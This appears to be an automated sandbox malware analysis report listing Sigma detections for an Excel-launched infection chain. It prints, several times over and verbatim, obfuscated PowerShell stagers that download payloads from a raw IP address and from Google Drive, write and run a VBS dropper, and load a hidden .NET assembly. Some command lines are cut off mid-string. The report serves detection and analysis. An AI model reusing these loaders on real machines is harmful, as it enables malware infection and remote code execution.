Author: Michael Haag: Data: Command: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", CommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWN

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3560, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3832, ProcessName: mshta.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3924, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt, ProcessId: 4036, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3924, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , ProcessId: 2036, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3924, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline", ProcessId: 3136, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 188.114.97.3, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3560, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3924, TargetFilename: C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3560, Protocol: tcp, SourceIp: 188.114.97.3, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesa

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = 